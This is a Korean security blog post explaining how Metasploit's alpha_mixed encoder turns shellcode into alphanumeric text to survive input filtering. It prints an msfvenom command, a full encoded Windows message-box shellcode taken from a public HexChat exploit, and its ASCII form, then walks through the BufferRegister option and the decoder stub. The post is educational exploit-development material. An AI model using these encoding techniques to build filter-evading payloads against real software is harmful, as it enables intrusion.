쉘코드를 인코딩 하는것을 절실히 느낀것은 이번이 2번째가 되는것 같습니다.
어제까지 모 프로그램의 취약점을 찾으면서 짜증낫던것이 바로 특정 범위를 벗어나면 코드가 손상되는 문제였습니다.
어떡하기 어떡하지.. 하면서 국내 문서를 찾아봤지만 제가 원하는 답은 찾지 못했습니다.
하지만 얼마전 Exploit-db 에서 보던 exploit이 문득 생각났습니다.
그거면 되겠다 해서 바로 찾아냈습니다.
http://www.exploit-db.com/exploits/24919/ HexChat 2.9.4 의 로컬 Exploit의 쉘코드를 살펴보면 ASCII [00 ~ 7f] 영역의 문자만 존재합니다.
사용된 쉘코드
# msfvenom -p windows/messagebox EXITFUNC=process BufferRegister=ESP -e x86/alpha_mixed -f c |
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" |
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" |
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" |
"\x50\x38\x41\x42\x75\x4a\x49\x78\x59\x68\x6b\x6d\x4b\x4b\x69" |
"\x44\x34\x64\x64\x59\x64\x74\x71\x78\x52\x6c\x72\x33\x47\x34" |
"\x71\x78\x49\x42\x44\x4e\x6b\x50\x71\x50\x30\x4e\x6b\x64\x36" |
"\x54\x4c\x4c\x4b\x44\x36\x77\x6c\x4c\x4b\x33\x76\x77\x78\x4c" |
"\x4b\x73\x4e\x51\x30\x4e\x6b\x75\x66\x56\x58\x72\x6f\x72\x38" |
"\x51\x65\x68\x73\x43\x69\x37\x71\x38\x51\x39\x6f\x58\x61\x73" |
"\x50\x4e\x6b\x30\x6c\x36\x44\x77\x54\x6c\x4b\x42\x65\x75\x6c" |
"\x6e\x6b\x73\x64\x36\x48\x31\x68\x46\x61\x6a\x4a\x4e\x6b\x52" |
"\x6a\x66\x78\x6e\x6b\x73\x6a\x57\x50\x43\x31\x7a\x4b\x6d\x33" |
"\x34\x74\x42\x69\x6c\x4b\x47\x44\x4c\x4b\x67\x71\x48\x6e\x74" |
"\x71\x6b\x4f\x36\x51\x79\x50\x6b\x4c\x4e\x4c\x4c\x44\x39\x50" |
"\x34\x34\x75\x57\x49\x51\x4a\x6f\x36\x6d\x67\x71\x4a\x67\x5a" |
"\x4b\x5a\x54\x67\x4b\x71\x6c\x61\x34\x34\x68\x32\x55\x6d\x31" |
"\x6e\x6b\x33\x6a\x47\x54\x76\x61\x38\x6b\x71\x76\x4c\x4b\x64" |
"\x4c\x52\x6b\x4e\x6b\x71\x4a\x67\x6c\x67\x71\x4a\x4b\x4e\x6b" |
"\x74\x44\x4c\x4b\x76\x61\x69\x78\x4e\x69\x62\x64\x66\x44\x47" |
"\x6c\x63\x51\x5a\x63\x6e\x52\x33\x38\x61\x39\x69\x44\x6b\x39" |
"\x59\x75\x6c\x49\x58\x42\x73\x58\x4e\x6e\x72\x6e\x56\x6e\x58" |
"\x6c\x62\x72\x4d\x38\x4f\x6f\x6b\x4f\x69\x6f\x69\x6f\x4f\x79" |
"\x61\x55\x75\x54\x6d\x6b\x31\x6e\x4e\x38\x79\x72\x70\x73\x6f" |
"\x77\x45\x4c\x45\x74\x70\x52\x39\x78\x6c\x4e\x4b\x4f\x49\x6f" |
"\x59\x6f\x6f\x79\x43\x75\x55\x58\x73\x58\x62\x4c\x70\x6c\x51" |
"\x30\x77\x31\x53\x58\x67\x43\x54\x72\x66\x4e\x61\x74\x71\x78" |
"\x52\x55\x44\x33\x62\x45\x61\x62\x6d\x58\x51\x4c\x75\x74\x57" |
"\x7a\x4c\x49\x58\x66\x73\x66\x6b\x4f\x30\x55\x47\x74\x6b\x39" |
"\x4f\x32\x72\x70\x4d\x6b\x39\x38\x6d\x72\x72\x6d\x4f\x4c\x4b" |
"\x37\x35\x4c\x67\x54\x30\x52\x5a\x48\x75\x31\x39\x6f\x6b\x4f" |
"\x39\x6f\x33\x58\x42\x4f\x34\x38\x53\x68\x31\x30\x72\x48\x35" |
"\x31\x73\x57\x61\x75\x62\x62\x35\x38\x72\x6d\x72\x45\x54\x33" |
"\x62\x53\x54\x71\x69\x4b\x6f\x78\x33\x6c\x75\x74\x54\x4a\x6f" |
"\x79\x78\x63\x61\x78\x72\x78\x45\x70\x77\x50\x75\x70\x70\x68" |
"\x72\x6d\x50\x53\x37\x36\x77\x51\x70\x68\x43\x42\x30\x6f\x42" |
"\x4d\x71\x30\x35\x38\x52\x4f\x66\x4c\x31\x30\x61\x76\x61\x78" |
"\x71\x58\x50\x65\x42\x4c\x32\x4c\x55\x61\x5a\x69\x6e\x68\x72" |
"\x6c\x61\x34\x44\x50\x4f\x79\x4d\x31\x56\x51\x4b\x62\x33\x62" |
"\x61\x43\x46\x31\x52\x72\x39\x6f\x58\x50\x46\x51\x49\x50\x42" |
"\x70\x69\x6f\x36\x35\x34\x48\x41\x41" |
신기하게도 위 16진수들을 헥스에디터에서 보면
TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxYhkmKKiD4ddYdtqxRlr3G4qxIBDNkPqP0Nkd6TLLKD6wlLK3vwxLKsNQ0NkufVXror8QehsCi7q8Q9oXasPNk0l6DwTlKBeulnksd6H1hFajJNkRjfxnksjWPC1zKm34tBilKGDLKgqHntqkO6QyPkLNLLD9P44uWIQJo6mgqJgZKZTgKqla44h2Um1nk3jGTva8kqvLKdLRkNkqJglgqJKNktDLKvaixNibdfDGlcQZcnR38a9iDk9YulIXBsXNnrnVnXlbrM8OokOioioOyaUuTmk1nN8yrpsowELEtpR9xlNKOIoYooyCuUXsXbLplQ0w1SXgCTrfNatqxRUD3bEabmXQLutWzLIXfsfkO0UGtk9O2rpMk98mrrmOLK75LgT0RZHu19okO9o3XBO48Sh10rH51sWaubb58rmrET3bSTqiKox3lutTJoyxcaxrxEpwPupphrmPS76wQphCB0oBMq058ROfL10avaxqXPeBL2LUaZinhrla4DPOyM1VQKb3baCF1Rr9oXPFQIPBpio654HAA
이러한 문자열이 나옵니다.
실제로 저 문자열이 쉘코드를 인코딩 한 문자열입니다.
옵션을 살펴보면 메세지 박스를 띄우는 쉘코드를 alpha_mixed 로 인코딩을 한것입니다.
alpha_mixed
http://www.metasploit.com/modules/encoder/x86/alpha_mixed <-- 참고
Alpha_Mixed는 인코더중 한개로, 쉘코드를 알파벳 대문자, 소문자 숫자로만 이루어지도록 인코딩을 하는 알고리즘입니다.
몇가지 설정을 맞춰줘야 한다는 단점이 있지만, 유니코드로 강제변환이 되는 특수한 상황을 방지하는 등 장점이 있습니다.
이번에 exploit 한 프로그램은 쉘코드가 0x80이 넘어가는 문자를 만나면 변환이 되고 손상이 되어서 exploit이 쉽지 않았습니다.
며칠간 우회방법을 생각해내다가 이러한 인코더를 만나게 되었는데 이게 구세주가 되었네요..
그런데 이쯤에서.. 아니 이전부터 궁금하시거나 감이 안오는 분이 계실겁니다.
'저런 글자로 뭘 하겠다는 거야?' 라고 생각하시는 분들이 많을거라 생각됩니다.
아니면 어셈블리어에 대한 지식이 있는 분이라면 눈치 채셨을지도 모르겠군요.
저도 처음엔 그랬으니.. 놀라움을 감출수 없었네요.. ㅋㅋ
위 코드는 아니지만 비슷한 코드를 올리디버거에서 확인 했을때의 모습입니다.
코드들을 보면 모두다 00~7f 의 영역 이고 숫자와 알파벳으로만 이루어져 있습니다. [opcode를 보시면 됩니다.]
그리고 012c213B 에서 xor연산으로 복호화를 진행합니다.
복호화가 모두 진행되면 아래와 같이 디코딩 됩니다.
인코딩햇던 원래의 쉘코드가 그대로 등장하게 됩니다 ㅋㅋ
opcode를 살펴보시면 7f가 넘어간 opcode를 보실수 있습니다.
인코딩 방법은 다른 metasploit의 페이로드를 만들때와 같습니다.
평소에 shellcode를 만들떄는 x86/shikata_ga_nai 라는 엑설런트한 인코딩을 사용합니다.
하지만 우리는 가끔 다른 인코더를 써야 할떄가 있고 특별히 이번 포스팅에선 alpha_mixed를 사용해야 하므로 [Metasploit]
set encoder x86/alpha_mixed
라고 입력합니다.
그리고 이 인코더가 약간 쓰이기 어려운 이유중 하나는 조건이 하나 있기 떄문입니다.
그 조건은 바로 '현재 레지스터중 해커가 원하는 대로 조작이 가능한 레지스터가 존재해야한다' 입니다.
alpha_mixed 에서 완벽하게 알파벳과 숫자로 구성된 쉘코드를 생성하려면 'BufferRegister' 라는 옵션을 사용해야 합니다.
만약 저 옵션을 사용하지 않는다면 상위 약 10바이트 이내의 문자는 7f를 넘어가며 쉘코드가 손상될 확률이 커집니다.
BufferRegister 는 '현재 쉘코드가 시작되는 주소를 담고있는 레지스터' 입니다.
간단하게 이 옵션만 맞춰주면 됩니다.
하지만 이 옵션이 안맞춰진 경우 인코딩된 쉘코드는 정상 동작을 하지 않고 오류를 뿜으며 장렬히 다이 합니다.
자, 그렇다면 왜 필요한것일까요..
이유는 012c212d 에 있습니다.
위 쉘코드의 BufferRegister는 쉘코드가 시작되는 주소를 담고있는 레지스터인 ESI로 설정했고
첫번쨰 사진의 011c2114에 의해 push esi로 스택에 값을 저장하고 바로 아래에 pop ecx가 있습니다.
그러므로 ecx의 값은 esi와 같아질것이며, 012c212d의 xor에 의해 [ecx 30]에 위치한 012c2131의 값이 변하게 됩니다.
저 값이 올바르지 않은 값으로 변한다면 쉘코드는 망가질것이고 설사 제대로 된다 해도 아래에 또 ecx를 사용하는 명령어에 의해
쉘코드가 손상될것 입니다.
그러므로 BufferRegister는 '현재 쉘코드가 시작되는 주소를 담고 있는 레지스터' 로 설정을 해줍니다.
맨 위 사진의 경우 저는 ESI가 변조가 가능했고, 그러므로 ESI를 시작주소인 011c2114 로 변조했습니다.
그리고 BufferRegister를 ESI로 설정합니다.
set BufferRegister ESI
그리고 생성을 마치고 생성합니다.
혹시 metasploit으로 쉘코드를 생성할줄 모르는 분이시라면 아래 포스팅부터 먼저 읽으시길 바랍니다.
2013/03/23 - [0x10 정보보안/0x15 System] - Metasploit 을 이용하여 ShellCode를 작성해보자 | 메타스플로잇을 이용해 쉘코드를 작성해보자.
감사합니다.
Exploit-Exercise Fusion level00 (0) | 2013.06.04 |
---|---|
Basic of Real World Exploit on windows [Document] (18) | 2013.05.22 |
Metasploit 을 이용하여 ShellCode를 작성해보자 | 메타스플로잇을 이용해 쉘코드를 작성해보자. (6) | 2013.03.23 |
Mnet 플레이어 취약점 시연 (6) | 2013.02.25 |
LOB level 6~10 Exploit (0) | 2013.01.18 |